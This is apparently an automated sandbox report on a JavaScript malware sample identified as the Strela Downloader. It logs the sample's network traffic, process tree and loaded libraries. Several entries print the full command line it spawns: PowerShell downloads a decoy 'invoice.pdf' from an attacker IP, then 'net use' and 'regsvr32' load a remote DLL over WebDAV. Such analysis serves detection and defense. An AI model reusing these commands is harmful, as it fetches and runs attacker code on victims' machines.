Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: global traffic

TCP traffic: 192.168.2.4:49731 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.4:49730 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1691444021.00000237DEC36000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000006.00000002.1750893496.0000024F32262000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1750893496.0000024F3227E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1750784686.0000024F32228000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1746240373.0000024F3227C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1748089399.0000024F32262000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000006.00000002.1750893496.0000024F32262000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1748089399.0000024F32262000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/A
Source: net.exe, 00000006.00000002.1750784686.0000024F32228000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/P
Source: net.exe, 00000006.00000002.1750784686.0000024F32228000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/pacewz
Source: svchost.exe, 00000008.00000002.2979360104.00000161FCA00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.7.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: svchost.exe, 00000008.00000003.1747697059.00000161FCC18000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000008.00000003.1747697059.00000161FCC18000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000008.00000003.1747697059.00000161FCC18000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000008.00000003.1747697059.00000161FCC4D000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.8.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.7.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: svchost.exe, 00000008.00000003.1747697059.00000161FCCC2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 00000008.00000003.1747697059.00000161FCCC2000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: svchost.exe, 00000008.00000003.1747697059.00000161FCCC2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7536, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6256215877331.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6256215877331.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 3129912127106722813.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7596:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_iqqpxdo5.akl.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 3129912127106722813.js

Virustotal: Detection: 8%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3129912127106722813.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6256215877331.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1704,i,4832962605628790638,17598048505237952918,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\6256215877331.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1704,i,4832962605628790638,17598048505237952918,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
